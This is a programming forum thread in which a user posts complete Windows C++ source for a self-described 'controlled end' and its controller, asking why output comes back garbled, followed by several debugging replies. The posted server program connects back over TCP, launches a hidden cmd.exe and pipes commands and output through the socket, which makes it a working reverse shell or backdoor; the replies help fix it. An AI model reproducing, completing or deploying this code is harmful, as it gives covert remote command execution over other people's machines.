//这个是我的服务端的代码
#include "TelnetServer.h"
#include <iostream>
using namespace std;
bool Exit=false;HANDLE hMutex;
int SendData(
 SOCKET *s,
 const char* buf,
 DWORD dwReadLen
 )
{
if(*s==INVALID_SOCKET||!buf)
{
return -1;
}
int Bytes_Send=0;
int offset=0;
do
{
Bytes_Send=send(*s,buf+offset,dwReadLen,0);
if(Bytes_Send<=0)
break;
dwReadLen-=Bytes_Send;
offset+=Bytes_Send;
}while(dwReadLen>0);
return 0;
}
DWORD WINAPI OutputThreadProc(LPVOID lpParameter)
{
char recvbuff[RECV_DATA];
memset(recvbuff,'\0',RECV_DATA);
CThreadNode *node=(CThreadNode *)lpParameter;
DWORD dwTotalBytes,dwReadLen;
BOOL ret;
while(!Exit)
{
ret=PeekNamedPipe(node->hRead,recvbuff,sizeof(recvbuff),&dwTotalBytes,NULL,NULL);
if(ret&&dwTotalBytes>0)
{
ret=ReadFile(node->hRead,recvbuff,sizeof(recvbuff),&dwReadLen,NULL);
if(ret&&dwReadLen>0)
{
SendData(&node->Server,recvbuff,dwReadLen);
}
}
Sleep(6000);
}
return TRUE;
}DWORD WINAPI InputThreadProc(LPVOID lpParameter)
{
CThreadNode *node=(CThreadNode *)lpParameter;
DWORD dwWrited=0,dwReceived=0;
char buff[MAX_PATH]={0};
BOOL bRet=false;
while(TRUE)
{

dwReceived=recv(node->Server,buff,sizeof(buff),0);
if(dwReceived>0&&dwReceived!=SOCKET_ERROR)
{
WriteFile(node->hWrite,buff,sizeof(buff),&dwWrited,NULL);
}
else
{
closesocket(node->Server);
WriteFile(node->hWrite,"exit\r\n",sizeof("exit\r\n"),NULL,NULL);
Exit=TRUE;
break;
}
Sleep(6000);
}
return TRUE;
}
bool InitSocket()
{
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested=MAKEWORD(2,2);
err=WSAStartup(wVersionRequested,&wsaData);
if(err!=0)
{
cout<<"Could not find a usage WinSock DLL"<<endl;
return false;
}
if(LOBYTE(wsaData.wVersion)!=2||HIBYTE(wsaData.wVersion)!=2)
{
cout<<"Could not find a usage WinSock DLL"<<endl;
WSACleanup();
return false;
}
return true;
}
void StartShell()
{
if(!InitSocket())
return;
CThreadNode Sock;
Sock.Server=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
SOCKADDR_IN ServerAddr;
ServerAddr.sin_addr.S_un.S_addr=inet_addr("127.0.0.1");
ServerAddr.sin_family=AF_INET;
ServerAddr.sin_port=htons(8000);
if(SOCKET_ERROR==connect(Sock.Server,(sockaddr *)&ServerAddr,sizeof(SOCKADDR_IN)))
{
cout<<"Connect with error"<<GetLastError()<<endl;
WSACleanup();
return;
}
HANDLE hRead1=NULL,hWrite1=NULL;
HANDLE hRead2=NULL,hWrite2=NULL;
SECURITY_ATTRIBUTES SecurityAttrib;
SecurityAttrib.bInheritHandle=true;
SecurityAttrib.lpSecurityDescriptor=NULL;
SecurityAttrib.nLength=sizeof(SECURITY_ATTRIBUTES);

if(!CreatePipe(&hRead1,&hWrite1,&SecurityAttrib,0))
{
cout<<"Create pipe failed"<<GetLastError()<<endl;
return;
}

if(!CreatePipe(&hRead2,&hWrite2,&SecurityAttrib,0))
{
cout<<"Create pipe failed"<<GetLastError()<<endl;
return;
}

char Path[50];
GetSystemDirectory(Path,50);
strcat(Path,"\\cmd.exe");
PROCESS_INFORMATION ProcessInfo={0};
STARTUPINFO StartInfo;
ZeroMemory(&StartInfo,sizeof(StartInfo));
StartInfo.cb=sizeof(STARTUPINFO);
StartInfo.dwFlags=STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
StartInfo.hStdInput=hRead1;
StartInfo.hStdOutput=hWrite2;
StartInfo.hStdError=GetStdHandle(STD_ERROR_HANDLE);
StartInfo.wShowWindow=SW_HIDE;

if(!CreateProcess(Path,NULL,NULL,NULL,TRUE,0,NULL,NULL,&StartInfo,&ProcessInfo))
{
cout<<"Create process failed"<<GetLastError()<<endl;
return;
}

Sock.hRead=hRead2;
Sock.hWrite=hWrite1;
HANDLE Output=CreateThread(NULL,NULL,OutputThreadProc,&Sock,0,NULL);
HANDLE Input=CreateThread(NULL,NULL,InputThreadProc,&Sock,0,NULL);
HANDLE handle[]={Output,Input};
WaitForMultipleObjects(2,handle,TRUE,INFINITE);
return;
}
int WINAPI WinMain(          
   HINSTANCE hInstance,
   HINSTANCE hPrevInstance,
   LPSTR lpCmdLine,
   int nCmdShow
   )
   
{ StartShell();
         return 0;
}
上面是我的服务端的代码(也就是被控端)
下面是TelnetServer.h的代码#include <windows.h>
#pragma comment(lib,"ws2_32.lib")
#define RECV_DATA 5120
class CThreadNode
{
public:
SOCKET Server;
HANDLE hRead;
HANDLE hWrite;
CThreadNode()
{
Server=INVALID_SOCKET;
hRead=hWrite=NULL;
}
};
下面是我的客户端的代码// TelnetClient.cpp : Defines the entry point for the console application.
//#include "stdafx.h"
#include <windows.h>
#include <iostream>
#pragma comment(lib,"ws2_32.lib")
using namespace std;bool InitSocket()
{
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested=MAKEWORD(2,2);
err=WSAStartup(wVersionRequested,&wsaData);
if(err!=0)
{
cout<<"Could not find a usage WinSock DLL"<<endl;
return false;
}
if(LOBYTE(wsaData.wVersion)!=2||HIBYTE(wsaData.wVersion)!=2)
{
cout<<"Could not find a usage WinSock DLL"<<endl;
WSACleanup();
return false;
}
return true;
}void BuildSocket()
{
if(!InitSocket())
return; SOCKET Server;
SOCKET Client;
SOCKET AcceptSock;
SOCKADDR_IN ServerAddr;
SOCKADDR_IN ClientAddr;
int size=sizeof(SOCKADDR_IN);
Client=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
ClientAddr.sin_addr.S_un.S_addr=htonl(INADDR_ANY);
ClientAddr.sin_family=AF_INET;
ClientAddr.sin_port=htons(8000); if(bind(Client,(sockaddr *)&ClientAddr,sizeof(SOCKADDR_IN))==SOCKET_ERROR)
{
cout<<"Bind socket with error"<<GetLastError()<<endl;
WSACleanup();
return;
} if(listen(Client,5)==SOCKET_ERROR)
{
cout<<"Listen socket with error"<<GetLastError()<<endl;
WSACleanup();
return;
} char recvbuff[4096];
char sendbuff[512];
memset(recvbuff,0,4096);//如果这里不注释起来,客户端就接收不到数据,如果注释起来,就会出现客户端接受到的数据后面会出现乱码
memset(sendbuff,0,512);//跟上面是一样的
AcceptSock=accept(Client,(sockaddr *)&ServerAddr,&size);
while(true)
{
if(AcceptSock==INVALID_SOCKET)
return;
gets(sendbuff);
cin.clear();
if(send(AcceptSock,sendbuff,sizeof(sendbuff),0)==SOCKET_ERROR)
{
cout<<"Send data with error"<<GetLastError()<<endl;
WSACleanup();
return;
}
if(recv(AcceptSock,recvbuff,sizeof(recvbuff),0)==SOCKET_ERROR)
{
cout<<"Revceive data with error"<<GetLastError()<<endl;
WSACleanup();
return;
}
cout<<recvbuff;

} closesocket(AcceptSock);
closesocket(Client);
WSACleanup();
return;
}
int _tmain(int argc, _TCHAR* argv[])
{
BuildSocket();
return 0;
}
服务端的代码出现在多线程那部分,调试了一天也没有找到规律,请大家帮我看下。

解决方案 »

  1.   

    具体是什么Bug?可以说清楚些吗?
      

  2.   

    send(AcceptSock,sendbuff,sizeof(sendbuff),0)改为
    send(AcceptSock,sendbuff,strlen(sendbuff),0)
    最好先检查一下strlen(sendbuff)的值是多少
      

  3.   

    代码不错,一下。
    char recvbuff[4096];改成BYTE recvbuff[4096];
      

  4.   

    同意楼上 不过没看出哪里有问题额。可以考虑recv的时候保存一下接收大小,接收完了以后在后面加一个\0
      

  5.   


    DWORD WINAPI OutputThreadProc(LPVOID lpParameter)
    {
        char recvbuff[RECV_DATA];
        memset(recvbuff,'\0',RECV_DATA);
        CThreadNode *node=(CThreadNode *)lpParameter;
        DWORD dwTotalBytes,dwReadLen;
        BOOL ret;
        while(!Exit)
        {
            dwTotalBytes//就是这么一小句语句决定了这件艺术品的成败        
            ret=PeekNamedPipe(node->hRead,recvbuff,sizeof(recvbuff),&dwTotalBytes,NULL,NULL);
            if(ret&&dwTotalBytes>0)
            {
                ret=ReadFile(node->hRead,recvbuff,sizeof(recvbuff),&dwReadLen,NULL);
                if(ret&&dwReadLen>0)
                {
                    SendData(&node->Server,recvbuff,dwReadLen);
                }
            }
            Sleep(6000);
        }
        return TRUE;
    }